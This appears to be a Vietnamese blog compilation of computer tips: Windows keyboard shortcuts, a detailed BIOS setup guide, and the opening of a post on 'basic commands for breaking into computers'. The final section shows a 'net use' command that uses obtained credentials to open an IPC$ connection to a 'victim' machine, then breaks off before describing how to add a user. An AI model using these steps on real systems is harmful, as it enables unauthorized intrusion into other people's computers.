29-04-2008

17 phím tắt vô giá trên bàn phím

F2: Đặt lại tên file trong lúc vội vàng có thể khiến bạn dễ dàng thao tác sai - click quá nhanh và bạn tình cờ mở một file. Đơn giản hơn là hãy nhấn phím F2 trên bàn phím khi file được chọn.
Ctrl + F2: Preview (xem lại) văn bản. Muốn bỏ chế độ preview, làm lại Ctrl + F2.
Shift + F3: Để làm nổi bật đoạn văn bản bằng chữ in hoa, đơn giản là bôi đen đoạn văn bản, nhấn đồng thời phím Shift + F3. Nếu muốn cho đoạn văn bản trở lại chữ thường, hãy lập lại động tác nhấn đồng thời Shift + F3. Muốn cho chữ cái đầu tiên trở thành chữ in hoa, đặt con trỏ trước chữ đó và nhấn phím Shift + F3.
Windows + E: Windows Explorer là cổng tới file và tài liệu của bạn song để mở nó thường phải liên quan đến desktop hoặc thanh Start Menu. Có một cách khác nhanh hơn là nhấn phím Windows-E và nó sẽ đưa bạn đến ngay Computer (Vista) hay My Computer (XP), một vị trí mặc định sẵn.
Windows + F: Tìm kiếm file có thể là một rắc rối nếu bạn là một người tích trữ tài liệu và cách không lãng phí thời gian săn tìm file là sử dụng phím tắt , sẽ mở ra một cửa sổ tìm kiếm và điền vào càng nhiều thông tin có thể về file bạn đang cần tìm.
Windows + L: Động tác này sẽ khóa ngay PC của bạn mà không cần chờ cho đến khi chế độ bảo vệ màn hình hoạt động.
Windows + M: Vào cuối ngày làm việc, mọi người bị bội thực với một bộ sưu tập các cửa sổ đang mở. sẽ thu nhỏ những cửa sổ này để lộ ra màn hình chính (desktop) và sẽ khôi phục lại những thứ bạn đã bị thu nhỏ trước đó.
Windows + R: Hộp Run này là cách tiết kiệm thời gian cực lớn với XP. Từ đây, bạn có thể mở tất cả loại ứng dụng mà không cần chuột.
Windows + F1: Trong khi F1 sẽ đưa ra cho bạn file Help (Hỗ trợ) trong hầu hết các ứng dụng, sẽ mở cửa sổ Windows Help. Điều này có thể giúp bạn tiết kiệm thời gian khi bạn không thể nhớ làm thế nào thay đổi một sự sắp đặt hoặc tìm một tính năng nhất định.
Windows + Tab: Chuyển dịch giữa các chương trình bạn đang sử dụng. Ở XP, bạn có thể chuyển các cửa sổ bằng cách nhấn phím để chọn đơn vị taskbar với màu sắc khác (xám hoặc xanh) để nhấn mạnh, rồi dùng các phím điều hướng lên hoặc xuống. Nhấn phím Enter sẽ đưa bạn đến cửa sổ đã được lựa chọn.
Windows + Pause/Break: Với những người nâng cấp và điều chỉnh phần cứng, truy cập quản lý thiết bị Device Manager và các cài đặt là một nhiệm vụ thường xuyên. Phím tắt này sẽ đem lại ngay cửa sổ cần thiết cho họ trong nháy mắt.
Shift + Delete: Thùng rác Recycle Bin là chỗ tuyệt vời dành cho những ai hay xóa các file mà không suy nghĩ song nó cũng tiềm ẩn nguy cơ cho phép người khác có thể truy cập vào các file nhạy cảm. Giữ phím (hoặc giữ phím Shift trong khi kéo file hoặc tệp vào thùng rác). Các file sẽ bị xóa ngay tức thì.
Ctrl + Enter: Một khi bạn đã chọ thanh địa chỉ trong trình duyệt Firefox hoặc Internet Explorer, bạn có thể tiết kiệm thời gian bằng việc gõ chỉ phần giữa của một tên miền. sẽ thêm www. và .com cho bạn. thêm www. Và .org.
Alt + Esc: Nếu bạn cần chuyển nhanh đến một cửa sổ khi đang làm việc ở một cửa sổ khác, bạn có thể chọn nó từ thanh taskbar. sẽ “khử” cửa sổ phía sau của bạn và đưa bạn đến một cửa sổ kế ngay đó.
Alt + F4: Bỏ ứng dụng đang hoạt động hoặc tắt Windows nếu không có ứng dụng nào.
Alt + PrtScrn: Nếu bạn cần chụp một cửa sổ, chỉ cần giữ để tóm được một cửa sổ hoạt động.
Alt + Backspace: Trong Microsoft Office, bạn có thể làm lại bất kỳ hiệu chỉnh tự động nào và định dạng tự động bằng việc nhẫn phím .

http://giaitri.tuvanonline.com/showthread.php?t=24200

Cách Setup BIOS

Khi khởi động máy lần đầu tiên, máy tính sẽ đọc một tập hợp dữ liệu được lưu trong CMOS (một chip bộ nhớ đặc biệt luôn hoạt động nhờ 1 cục pin nhỏ), không có thông tin nầy máy tính sẽ bị tê liệt. Việc xác lập các thông tin nầy gọi là Setup Bios và bao giờ người bán cũng phải làm thủ tục Setup Bios ngay sau khi ráp máy. Nhưng bạn cũng phải biết cách Setup Bios để đề phòng trường hợp máy tự mất các thông tin lưu trong Bios vì các lý do như: Hết pin, nhiễu điện, virus...Hiện nay, người ta dùng Flash Ram để lưu thông tin Bios nên không cần phải có Pin nuôi trên mainboard. Tùy Mainboard, các mục trong Bios có thể khác nhau theo từng hãng chế tạo (Award, Ami, Pheonix...) nhưng về căn bản chúng vẫn giống nhau và trong phần nầy chủ yếu bàn về căn bản, còn các tính năng riêng bạn phải chịu khó tìm hiểu thêm nhờ vào các kiến thức căn bản nầy.

Màn hình Bios Setup đa số là màn hình chạy ở chế độ TEXT. Gần đây đang phát triển loại BiosWin (Ami) có màn hình Setup gồm nhiều cửa sổ giống tương tự Windows và sử dụng được Mouse trong khi Setup nhưng các mục vẫn không thay đổi.

Chú ý thao tác để vào Bios Setup là: Bấm phím Del khi mới khởi động máy đối với máy Ðài Loan. Ðối với các máy Mỹ, thường là bạn phải thông qua chương trình quản lý máy riêng của từng hãng nếu muốn thay đổi các thông số của Bios.

* Bios thường: Di chuyển vệt sáng để lựa chọn mục bằng các phím mũi tên. Thay đổi giá trị của mục đang Set bằng 2 phím Page Up và Page Dn. Sau đó nhấn phím Esc để thoát khỏi mục (giá trị mới sẽ được lưu trữ). Nhấn F10 để thoát Setup Bios nếu muốn lưu các thay đổi, khi hộp thoại hiện ra, bấm Y để lưu, N để không lưu. Nhấn Esc nếu muốn thoát mà không lưu thay đổi, khi hộp thoại hiện ra, bấm Y để không lưu, N để trở lại màn hình Setup Bios.

* Bios Win: Màn hình Setup xuất hiện dưới dạng đồ họa gồm nhiều cửa sổ, sử dụng được mouse nếu bạn có mouse loại: PS/2 mouse, Microsoft mouse, Serial mouse, Logitect C mouse. Dùng mouse bấm kép vào cửa sổ để mở một thành phần, bấm vào mục cần thay đổi, một cửa sổ liệt kê giá trị xuất hiện, bấm vào giá trị muốn chọn rồi thoát bằng cách bấm vào ô nhỏ ở góc trên bên trái. Nếu không có mouse, dùng các phím mũi tên để di chuyển, đến mục cần thay đổi bấm Enter, xuất hiện hộp liệt kê, chọn giá trị mới, bấm Enter, cuối cùng bấm Esc.

1. Setup các thành phần căn bản (Standard CMOS Setup):

Ðây là các thành phần cơ bản mà Bios trên tất cả các loại máy PC phải biết để quản lý và điều khiển chúng.

* Ngày, giờ (Date/Day/Time):

Bạn khai báo ngày tháng năm vào mục nầy. Khai báo nầy sẽ được máy tính xem là thông tin gốc và sẽ bắt đầu tính từ đây trở đi. Các thông tin về ngày giờ được sử dụng khi các bạn tạo hay thao tác với các tập tin, thư mục. Có chương trình khi chạy cũng cần thông tin nầy, thí dụ để báo cho bạn cập nhật khi quá hạn, chấm dứt hoạt động khi đến ngày quy định...Bình thường bạn Set sai hay không Set cũng chẳng nh hưởng gì đến hoạt động của máy. Các thông tin nầy có thể sửa chữa trực tiếp ngoài Dos bằng 2 lịnh Date và Time, hay bằng Control Panel của Windows mà không cần vào Bios Setup.

Chú ý: Ðồng hồ máy tính luôn luôn chạy chậm khong vài giây/ngày, thỉnh thoảng bạn nên chỉnh lại giờ cho đúng. Nhưng nếu quá chậm là có vấn đề cần phải thay mainboard.

* ổ đĩa mềm (Drive A/B):

Khai báo loại ổ đĩa cho ổ A và ổ B, bạn căn cứ vào việc nối dây cho ổ đĩa để xác định. ổ đĩa nối với đầu nối ngoài cùng của dây nối là ổ A, ổ kia là B. ổ có kích thước lớn là 1.2M 5.25 inch, ổ nhỏ là 1.44M 3.5 inch. Nếu không có thì chọn Not Installed. Nếu bạn khai báo sai, ổ đĩa sẽ không hoạt động chớ không hư hỏng gì, bạn chỉ cần khai báo lại. Trong các mainboard sử dụng Bios đời mới, khai báo sai loại ổ dĩa 1.2Mb thành 1.4Mb hay ngược lại, ổ dĩa vẫn hoạt động bình thường nhưng kêu rất lớn lúc mới bắt đầu đọc đĩa, về lâu dài có thể hư đĩa.

Các Bios và các card I/O đời mới cho phép bạn tráo đổi 2 ổ đĩa mềm mà không cần tráo đổi dây (swap floppy drive), tức là ổ A thành ổ B và ngược lại khi sử dụng. Khi tráo đổi bằng cách Set jumper trên card I/O, bạn nhớ khai báo lại trong Bios Setup (Khi tráo bằng lịnh Swap trong Bios thì không cần khai báo lại), nhưng có ứng dụng không chịu cài đặt khi Swap đĩa mềm, nhất là các ứng dụng có bảo vệ chống sao chép.

* ổ đĩa cứng (Drive C/D) loại IDE:

Phần khai báo ổ đĩa cứng rắc rối hơn, bắt buộc bạn phải khai báo chi tiết các thông số, bạn khai báo sai không những ổ cứng không hoạt động mà đôi khi còn làm hư ổ cứng nếu bạn khai báo quá dung lượng thật sự của ổ cứng và cho tiến hành FDISK, FORMAT theo dung lượng sai nầy. May mắn là các Bios sau nầy đều có phần dò tìm thông số ổ cứng IDE tự động (IDE HDD auto detection) nên các bạn khỏi mắc công nhớ khi sử dụng ổ đĩa cứng loại IDE. Chúng tôi sẽ nói về phần auto detect nầy sau. Ngoài ra, các ổ cứng sau nầy đều có ghi thông số trên nhãn dán trên mặt. Bạn cho chạy Auto detect, Bios sẽ tự động điền các thông số nầy dùm bạn. Việc khai báo ổ cứng C và D đòi hỏi phải đúng với việc Set các jumper trên 2 ổ cứng. Bạn xác lập ổ cứng không phải qua đầu nối dây mà bằng các jumper trên mạch điều khiển ổ cứng. Các ổ cứng đời mới chỉ có một jumper 3 vị trí: ổ duy nhất, ổ Master (ổ C), ổ Slave (ổ D) và có ghi rõ cách Set trên nhãn. Các ổ đĩa cứng đời cũ nhiều jumper hơn nên nếu không có tài liệu hướng dẫn là rắc rối, phải mò mẫm rất lâu.

* ổ đĩa cứng (Drive E/F) loại IDE:

Các Bios và các card I/O đời mới cho phép gắn 4 ổ dĩa cứng, vì hiện nay các ổ dĩa CDROM cũng sử dụng đầu nối ổ cứng để hoạt động, gọi là CDROM Interface IDE (giao diện đĩa IDE) để đơn giản việc lắp đặt.

Chú ý: Khai báo là NONE trong Bios Setup cho ổ đĩa CD-ROM.

* Màn hình (Video) - Primary Display:

EGA/VGA: Dành cho loại màn hình sử dụng card màu EGA hay VGA, Super VGA.

CGA 40/CGA 80: Dành cho loại màn hình sử dụng card màu CGA 40 cột hay CGA 80 cột.

Mono: Dành cho loại màn hình sử dụng card trắng đen, kể c card VGA khi dùng màn hình trắng đen.

* Treo máy nếu phát hiện lỗi khi khởi động (Error Halt):

Tất cả lỗi (All error): Treo máy khi phát hiện bất cứ lỗi nào trong quá trình kiểm tra máy, bạn không nên chọn mục nầy vì Bios sẽ treo máy khi gặp lỗi đầu tiên nên bạn không thể biết các lỗi khác, nếu có.

Bỏ qua lỗi của Keyboard (All, But Keyboard): Tất cả các lỗi ngoại trừ lỗi của bàn phím.

Bỏ qua lỗi đĩa (All, But Diskette): Tất cả các lỗi ngoại trừ lỗi của đĩa.

Bỏ qua lỗi đĩa và bàn phím (All, But Disk/Key): Tất cả các lỗi ngoại trừ lỗi của ổ đĩa và bàn phím.

Không treo máy khi có lỗi (No error): Tiến hành quá trình kiểm tra máy cho đến khi hoàn tất dù phát hiện bất cứ lỗi gì. Bạn nên chọn mục nầy để biết máy bị trục trặc ở bộ phận nào mà có phương hướng giải quyết.

* Keyboard:

Install: Cho kiểm tra bàn phím trong quá trình khởi động, thông báo trên màn hình nếu bàn phím có lỗi.

Not Install: Không kiểm tra bàn phím khi khởi động. Chú ý: chọn mục nầy không có nghĩa là vô hiệu hoá bàn phím vì nếu vậy làm sao điều khiển máy. Nó chỉ có tác dụng cho Bios khỏi mất công kiểm tra bàn phím nhằm rút ngắn thời gian khởi động.
2. Setup các thành phần nâng cao (Advanced Setup):

* Virut Warning:
Nếu Enabled, Bios sẽ báo động và treo máy khi có hành động viết vào Boot sector hay Partition của đĩa cứng. Nếu bạn cần chạy chương trình có thao tác vào 2 nơi đó như: Fdisk, Format... bạn cần phải Disable mục nầy.

* Internal cache:
Cho hiệu lực (enable) hay vô hiệu hoá (disable) Cache (L1) nội trong CPU 486 trở lên.

* External cache:
Cho hiệu lực (enable) hay vô hiệu hoá (disable) cache trên mainboard, còn gọi là Cache mức 2 (L2).

* Quick Power On Self Test:
Nếu enable Bios sẽ rút ngắn và bỏ qua vài mục không quan trọng trong quá trình khởi động, để giảm thời gian khởi động tối đa.

* About 1 MB Memory Test:
Nếu Enable Bios sẽ kiểm tra tất cả bộ nhớ. Nếu Disable Bios chỉ kiểm tra 1 Mb bộ nhớ đầu tiên.

* Memory Test Tick Sound:
Cho phát âm thanh (enable) hay không (disable) trong thời gian test bộ nhớ.

* Extended Bios Ram Area:
Khai báo mục nầy nếu muốn dùng 1 Kb trên đỉnh của bộ nhớ quy ước, tức Kb bắt đầu từ địa chỉ 639K hay 0:300 của vùng Bios hệ thống trong bộ nhớ quy ước để lưu các thông tin về đĩa cứng. Xác lập có thể là 1K hay 0:300.

* Swap Floppy Drive:
Tráo đổi tên 2 ổ đĩa mềm, khi chọn mục nầy bạn không cần khai báo lại loại ổ đĩa như khi tráo bằng cách Set jumper trên card I/O.

* Boot Sequence:
Chọn ổ đĩa cho Bios tìm hệ điều hành khi khởi động. Có thể là C rồi đến A hay A rồi đến C hay chỉ có C. Bạn nên chọn C,A hay chỉ có C, để đề phòng trường hợp vô tình khởi động bằng đĩa mềm có Virus.

Hiện nay trên các Mainboard Pentium. Bios cho phép bạn chỉ định khởi động từ 1 trong 2 ổ mềm hay trong 4 ổ cứng IDE hay bằng ổ cứng SCSI thậm chí bằng ổ CD Rom cũng được.

* Boot Up Floppy Seek:
Nếu Enable Bios sẽ dò tìm kiểu của đĩa mềm là 80 track hay 40 track. Nếu Disable Bios sẽ bỏ qua. Chọn enable làm chậm thời gian khởi động vì Bios luôn luôn phải đọc đĩa mềm trước khi đọc đĩa cứng, mặc dù bạn đã chọn chỉ khởi động bằng ổ C.

* Boot Up Numlock Status:
Nếu ON là cho phím Numlock mở (đèn Numlock sáng) sau khi khởi động, nhóm phím bên tay phải bàn phím dùng để đánh số. Nếu OFF là cho phím Numlock tắt (đèn Numlock tối), nhóm phím bên tay phải dùng để di chuyển con trỏ.

* Boot Up System Speed:
Quy định tốc độ của CPU trong thời gian khởi động là High (cao) hay Low (thấp).

* Memory Parity Check:
Kiểm tra chẵn lẻ bộ nhớ. Chọn theo mainboard vì có loại cho phép mục nầy enable, có loại bắt bạn phải disable mới chịu chạy. Ðầu tiên bạn chọn enable, nếu máy treo bạn chọn lại là disable. Mục nầy không ảnh hưởng đến hệ thống, chỉ có tác dụng kiểm tra Ram.

* IDE HDD Block Mode:
Nếu ổ đĩa cứng của bạn hỗ trợ kiểu vận chuyển dữ liệu theo từng khối (các ổ đĩa đời mới có dung lượng cao). Bạn cho enable để tăng tốc cho ổ đĩa. Nếu ổ đĩa đời cũ bạn cho disable mục nầy.

* Pri. Master/Slave LBA (Logic Block Addressing) Mode:
Nếu 2 ổ đĩa cứng được nối vào đầu nối Primary của card I/O có dung lượng lớn hơn 528Mb, bạn cho enable mục nầy.

* Sec. IDE Ctrl Drives Install:
Mục nầy để khai báo máy bạn có ổ đĩa cứng nối vào đầu nối Secondary của card I/O. Các chỉ định có thể là Master, Mst/Slv và disable.

* Sec Master/Slave LBA Mode:
Xác lập LBA cho đầu nối thứ 2.

Chú ý: Các mục hỗ trợ cho ổ đĩa cứng có dung lượng lớn và các card I/O đời mới giúp bạn sử dụng ổ đĩa có dung lượng trên 528Mb. Trong trường hợp bạn cho enable các mục nầy rồi mới tiến hành Fdisk và Format đĩa, nếu sau đó bạn lại disable các mục nầy hay đem gắn qua máy khác cũng chọn disable, bạn sẽ không thể sử dụng được ổ dĩa cứng. Khi dùng ổ CDROM có đầu nối IDE, bạn nên gắn vào đầu nối Secondary để khỏi ảnh hưởng đến ổ dĩa cứng (gắn vào đầu nối Pri) khi cần chạy 32BitDiskAccess trong Windows.

* Typematic Rate Setting:
Nếu enable là bạn cho 2 mục dưới đây có hiệu lực. 2 mục nầy thay thế lịnh Mode của DOS, quy định tốc độ và thời gian trể của bàn phím.

* Typematic Rate (Chars/Sec):
Bạn lựa chọn số ký tự/giây tuỳ theo tốc độ đánh phím nhanh hay chậm của bạn. Nếu bạn Set thấp hơn tốc độ đánh thì máy sẽ phát tiếng Bip khi nó chạy theo không kịp.

* Typematic Delay (Msec):
Chỉ định thời gian lập lại ký tự khi bạn bấm và giữ luôn phím, tính bằng mili giây.

* Security Option:
Mục nầy dùng để giới hạn việc sử dụng hệ thống và Bios Setup.

Setup: Giới hạn việc thay đổi Bios Setup, mỗi khi muốn vào Bios Setup bạn phải đánh đúng mật khẩu đã quy định trước.

System hay Always: Giới hạn việc sử dụng máy. Mỗi khi mở máy, Bios luôn luôn hỏi mật khẩu, nếu không biết mật khẩu Bios sẽ không cho phép sử dụng máy.

Chú ý: Trong trường hợp bạn chưa chỉ định mật khẩu, để Disable (vô hiệu hoá) mục nầy, bạn chọn Password Setting, bạn đừng đánh gì vào các ô nhập mật khẩu mà chỉ cần bấm ENTER. Trong trường hợp bạn đã có chỉ định mật khẩu nay lại muốn bỏ đi. Bạn chọn Password Setting, bạn đánh mật khẩu cũ vào ô nhập mật khẩu cũ (Old Password) còn trong ô nhập mật khẩu mới (New Password) bạn đừng đánh gì cả mà chỉ cần bấm ENTER. Có mainboard thiết kế thêm 1 jumper để xoá riêng mật khẩu ngoài jumper để xoá toàn bộ thông tin trong CMOS. Tốt hơn hết là bạn đừng sử dụng mục nầy vì bản thân chúng tôi chứng kiến rất nhiều trường hợp dở khóc dở cười do mục nầy gây ra. Lợi ít mà hại nhiều. Chỉ những máy tính công cộng mới phải sử dụng tới mục nầy thôi.

* System Bios Shadow, Video Bios Shadow:
Nếu enable là cho copy các dữ liệu về System và Video trong Bios (có tốc độ chậm) vào Ram (tốc độ nhanh) để rút ngắn thời gian khi cần truy nhập vào các dữ liệu nầy.

* Wait for if Any Error:
Cho hiện thông báo chờ ấn phím F1 khi có lỗi.

* Numeric Processor:

Thông báo có gắn CPU đồng xử lý (Present) trên máy hay không (absent). Mục nầy thường có cho các máy dùng CPU 286, 386, 486SX. Từ 486DX trở về sau đã có con đồng xử lý bên trong CPU nên trên các máy mới có thể không có mục nầy.

* Turbo Switch Funtion:

Cho nút Turbo có hiệu lực (enable) hay không (disable). Mục nầy thường thấy ở các Bios đời củ, trên các máy đời mới lựa chọn nầy thường bằng cách Set jumper của Mainboard. Từ Mainboard pentium trở đi không có mục nầy.

3. Setup các thành phần có liên quan đến vận hành hệ thống (Chipset Setup):

* Auto Configuration:
Nếu enable, Bios sẽ tự động xác lập các thành phần về DRAM, Cache...mỗi khi khởi động tùy theo CPU Type (kiểu CPU) và System Clock (tốc độ hệ thống). Nếu Disable là để cho bạn tự chỉ định.

* AT Clock Option:
Nếu Async (không đồng bộ) là lấy dao động chuẩn của bộ dao động thạch anh chia đôi làm tốc độ hoạt động cho AT Bus (bus 8 - 16Bit). Thường là 14.318MHz/2 tức 7.159MHz. Có Bios còn cho chọn tốc độ của mục nầy là 14.318MHz. Nếu Sync (đồng bộ) là dùng System Clock (do bạn chỉ định bằng cách Set jumper trên mainboard) làm tốc độ chuẩn.

* Synchronous AT Clock/AT Bus Clock Selector:
Chỉ định tốc độ hoạt động cho AT Bus bằng cách lấy tốc độ chuẩn (system clock) chia nhỏ để còn lại khoảng 8MHz cho phù hợp với card 16Bit. Các lựa chọn như sau:

CLKI/3 khi system clock là 20 - 25MHz.

CLKI/4 khi system clock là 33MHz.

CLKI/5 khi system clock là 40MHz.

CLKI/6 khi system clock là 50MHz.

Tốc độ nầy càng lớn (số chia càng nhỏ), máy chạy càng nhanh do tăng tốc độ vận chuyển dữ liệu. Tuy nhiên lớn đến đâu là còn tùy thuộc vào mainboard và card cắm trên các Slot (quan trọng nhất là card I/O). Các bạn phải thí nghiệm giảm số chia từng nấc và chú ý máy có khởi động hay đọc đĩa bình thường không, nếu phát sinh trục trặc thì giảm xuống 1 nấc. Thường thì bạn có thể tăng được 2 nấc, thí dụ: System clock là 40MHz, bạn chọn CLKI/3. Card ISA 8 và 16 Bit có thể chạy tốt trong khoảng từ 8MHz đến 14MHz. Nếu nhanh quá, thường card I/O gặp trục trặc trước (không đọc được đĩa cứng).

* AT Cycle Wait States/Extra AT Cycle WS:
Ðể enable hay disable việc chèn thêm 1 thời gian chờ vào thời gian chuẩn của AT Bus. Nếu system clock dưới 33MHz chọn disable. Nếu trên 33MHz chọn enable.

* Fast AT Cycle:
Khi enable sẽ rút ngắn thời gian chuẩn của AT Bus.

* DRAM Read Wait States/DRAM Brust Cycle:
Dưới 33MHz là: 3 - 2 - 2 - 2 hay 2 - 1 - 1 - 1

Từ 33 - 45MHz là: 4 - 3 - 3 - 3 hay 2 - 2 - 2 - 2

50MHz là: 5 - 4 - 4 - 4 hay 3 - 2 - 2 - 2

Chọn mục nầy ảnh hưởng lớn đến tốc độ CPU.

* DRAM/Memory Write Wait States:
Chọn 1WS khi hệ thống nhanh hay DRAM chậm (tốc độ 40MHz trở lên). Chọn 0WS khi hệ thống và DRAM có thể tương thích (33MHz trở xuống).

* Hidden Refresh Option:
Khi enable, CPU sẽ làm việc nhanh hơn do không phải chờ mỗi khi DRAM được làm tươi.

* Slow Refresh Enable:
Mục nầy nhằm bảo đảm an toàn dữ liệu trên DRAM, thời gian làm tươi sẽ kéo dài hơn bình thường. Bạn chỉ được enable mục nầy khi bộ nhớ của máy hỗ trợ việc cho phép làm tươi chậm.

* L1 Cache Mode:
Lựa chọn giữa Write-Through và Write-Back cho Cache nội trong CPU 486 trở lên. Xác lập Write-Through máy sẽ chạy chậm hơn Write-Back nhưng việc lực chọn còn tuỳ thuộc vào loại CPU.

* L2 Cache Mode:
Xác lập cho cache trên mainboard.

* IDE HDD Auto Detection/IDE SETUP:
Khi chọn mục nầy sẽ xuất hiện một cửa sổ cho bạn chỉ định ổ đĩa cần dò tìm thông số (2 hay 4 ổ đĩa tuỳ theo Bios). Sau đó bạn bấm OK hay YES để Bios điền vào phần Standard dùm cho bạn. Trong Bios đời mới, Auto detect có thể đưa ra vài loại ổ đĩa. Tuỳ theo cách sử dụng ổ dĩa (normal, LBA,...) mà bạn chọn loại thích hợp.

* Power Management Setup:
Ðối với CPU 486:

Phần nầy là các chỉ định cho chương trình tiết kiệm năng lượng sẵn chứa trong các Bios đời mới. Chương trình nầy dùng được cho cả 2 loại CPU: Loại thường và loại CPU kiểu S. CPU kiểu S hay CPU có 2 ký tự cuối SL là một loại CPU được chế tạo đặc biệt, có thêm bộ phận quản lý năng lượng trong CPU. Do đó trong phần nầy có 2 loại chỉ định dành cho 2 loại CPU.

Ðối với Pentium:

Dùng chung cho mọi loại Pentium hay các chíp của các hảng khác cùng đời với Pentium.

* Power Management/Power Saving Mode:
Disable: Không sử dụng chương trình nầy.

Enable/User Define: Cho chương trình nầy có hiệu lực.

Min Saving: Dùng các giá trị thời gian dài nhất cho các lựa chọn (tiết kiệm năng lượng ít nhất).

Max Saving: Dùng các giá trị thời gian ngắn nhất cho các lựa chọn (tiết kiệm nhiều nhất).

* Pmi/Smi:
Nếu chọn SMI là máy đang gắn CPU kiểu S của hãng Intel. Nếu chọn Auto là máy đang gắn CPU thường.

* Doze Timer:
Mục nầy chỉ dùng cho CPU kiểu S. Khi đúng thời gian máy đã rảnh (không nhận được tín hiệu từ các ngắt) theo quy định, CPU tự động hạ tốc độ xuống còn 8MHz. Bạn chọn thời gian theo ý bạn (có thể từ 10 giây đến 4 giờ) hay disable nếu không muốn sử dụng mục nầy.

* Sleep Timer/Standby timer:
Mục nầy chỉ dùng cho CPU kiểu S. Chỉ định thời gian máy rảnh trước khi vào chế độ Sleep (ngưng hoạt động). Thời gian có thể từ 10 giây đến 4 giờ.

* Sleep Clock:
Mục nầy chỉ dùng cho CPU kiểu S: Stop CPU hạ tốc độ xuống còn 0MHz (ngưng hẳn). Slow CPU hạ tốc độ xuống còn 8MHz.

* HDD Standby Timer/HDD Power Down:
Chỉ định thời gian ngừng motor của ổ đĩa cứng.

* CRT Sleep:
Nếu Enable là màn hình sẽ tắt khi máy vào chế độ Sleep.

* Chỉ định:
Các chỉ định cho chương trình quản lý nguồn biết cần kiểm tra bộ phận nào khi chạy.

Chú ý: Do Bios được sản xuất để sử dụng cho nhiều loại máy khác nhau nên các bạn luôn luôn gặp phần nầy trong các Bios. Thực ra chúng chỉ có giá trị cho các máy xách tay (laptop) vì xài pin nên vấn đề tiết kiệm năng lượng được đặt lên hàng đầu. Chúng tôi khuyên các bạn đang sử dụng máy để bàn (desktop) nên vô hiệu hoá tất cả các mục trong phần nầy, để tránh các tình huống bất ngờ như: đang cài chương trình, tự nhiên máy ngưng hoạt động, đang chạy Defrag tự nhiên máy chậm cực kỳ....

4. Phần dành riêng cho Mainboard theo chuẩn giao tiếp PCI có I/O và IDE On Board (peripheral Setup):

* PCI On Board IDE:
Cho hiệu lực (enabled) hay vô hiệu (disabled) 2 đầu nối ổ đĩa cứng IDE trên mainboard. Khi sử dụng Card PCI IDE rời, ta cần chọn disabled.

* PCI On Board Secondary IDE:
Cho hiệu lực (enabled) hay vô hiệu (disabled) đầu nối ổ đĩa cứng IDE thứ 2 trên mainboard. Mục nầy bổ sung cho mục trên và chỉ có tác dụng với đầu nối thứ 2.

* PCI On Board Speed Mode:
Chỉ định kiểu vận chuyển dữ liệu (PIO speed mode). Có thể là Disabled, mode 1, mode 2, mode 3, mode 4, Auto. Trong đó mode 4 là nhanh nhất.

* PCI Card Present on:
Khai báo có sử dụng Card PCI IDE rời hay không và nếu có thì được cắm vào Slot nào. Các mục chọn là: Disabled, Auto, Slot 1, Slot 2, Slot 3, Slot 4.

* PCI IRQ, PCI Primary IDE IRQ, PCI Secondary IDE IRQ:
Chỉ định cách xác lập ngắt cho Card PCI IDE rời.

Chú ý: Trong mục nầy có phần xác lập thứ tự gán ngắt cho các Card bổ sung. Thí dụ: 1 = 9, 2 = 10, 3 = 11, 4 = 12 có nghĩa là Card đầu tiên cắm vào bất kỳ Slot nào sẽ được gán ngắt 9, nếu có 2 Card thì Card cắm vào Slot có số thứ tự nhỏ sẽ được gán ngắt 9, Slot có số thứ tự lớn sẽ được gán ngắt 10.v..v...

* IDE 32Bit Transfers Mode:
Xác lập nầy nhằm tăng cường tốc độ cho ổ đĩa cứng trên 528Mb, nhưng cũng có ổ đĩa không khởi động được khi enabled mục nầy dù fdisk và format vẫn bình thường.

* Host to PCI Post Write W/S, Host to PCI Burst Write, Host to DRAM Burst Write:
Các mục nầy xác lập cho PCU Bus, không ảnh hưởng nhiều đến tốc độ CPU, có thể để nguyên xác lập mặc nhiên.

* PCI Bus Park, Post Write Buffer:
Khi enabled các mục nầy có thể tăng cường thêm tốc độ hệ thống.

* FDC Control:
Cho hiệu lực hay không đầu nối cáp và xác lập địa chỉ cho ổ đĩa mềm.

* Primary Seral Port:
Cho hiệu lực hay không cổng COM 1 và xác lập địa chỉ cho cổng nầy.

* Secondary Serial Port:
Cho hiệu lực hay không cổng COM 2 và xác lập địa chỉ cho cổng nầy. Chú ý: Nếu bạn sử dụng Card bổ sung có xác lập điạ chỉ là COM 1 hay COM 2, bạn phải disabled cổng tương ứng trong hai mục trên.

* Parallel Port:
Cho hiệu lực hay không cổng LPT 1 và xác lập địa chỉ cho cổng nầy.

5. Hướng dẫn Setup Bios:

Trong các tài liệu đi kèm mainboard, đều có hướng dẫn Setup Bios. Khi mua máy hay mua mainboard, các bạn nhớ đòi các tài liệu nầy vì nó rất cần cho việc sử dụng máy.

Trong các phần Setup trên, phần Standard, Advanced có ảnh hưởng đến việc cấu hình máy. Phần Chipset ảnh hưởng đến tốc độ máy. Phần PCI ảnh hưởng đến các gán ngắt, địa chỉ cho các Slot PCI, cổng; cách vận chuyển dữ liệu cho IDE On Board.

Nếu gặp các thành phần hoàn toàn mới, trước tiên bạn hãy Set các thành phần đã biết, kiểm tra việc thay đổi của máy, cuối cùng mới Set tới các thành phần chưa biết. Chúng tôi xin nhắc lại, việc Setup Bios sai không bao giờ làm hư máy và các bạn sẽ dễ dàng Setup lại nhờ vào chính Bios. Trên mainboard luôn luôn có 1 Jumper dùng để xóa các thông tin lưu trong CMOS để bạn có thể tạo lại các thông tin nầy trong trường hợp không thể vào lại Bios Setup khi khởi động máy.

Khi tiến hành tìm hiểu Setup Bios, bạn nên theo một nguyên tắc sau: Chỉ Set từng mục một rồi khởi động máy lại, chạy các chương trình kiểm tra để xem tốc độ CPU, ổ đĩa có thay đổi gì không?. Cách làm nầy gíúp bạn phát hiện được ảnh hưởng của từng mục vào hệ thống và bạn có thể biết chắc trục trặc phát sinh do mục nào để sửa chữa. Khi xẩy ra trục trặc mà bạn không biết đối phó, bạn chỉ cần vào lại Bios Setup chọn Load Bios Default hay bấm F6 trong phần Set mà bạn muốn phục hồi sau đó khởi động máy lại là xong.

http://giaitri.tuvanonline.com/showthread.php?t=14075

27-04-2008

Các lệnh cơ bản để xâm nhập máy tính

Phần 1 : Net

chỉ cần bố cháu có được User và Passwords của một IP nào trên Net…thế là bố cháu có thể kết nói một IPC$ rồi đấy….bây giờ tui xin ví dụ là bác có được User la hbx và passwords : 123456…IP : 127.0.0.1

Hãy mở trình Ms dos và gõ vào lệnh sau :

Net use \\127.0.0.1\ipc$ “123456″ /user:”hbx” đẩ kết nồi một IPC$ với máy victtim

nhưng thao tác tiếp theo..bạn nhất thiết phải login xong mới có thể sử dũng

bây giờ chúng ta nói tiếp làm thế nào để tạo một user mới …

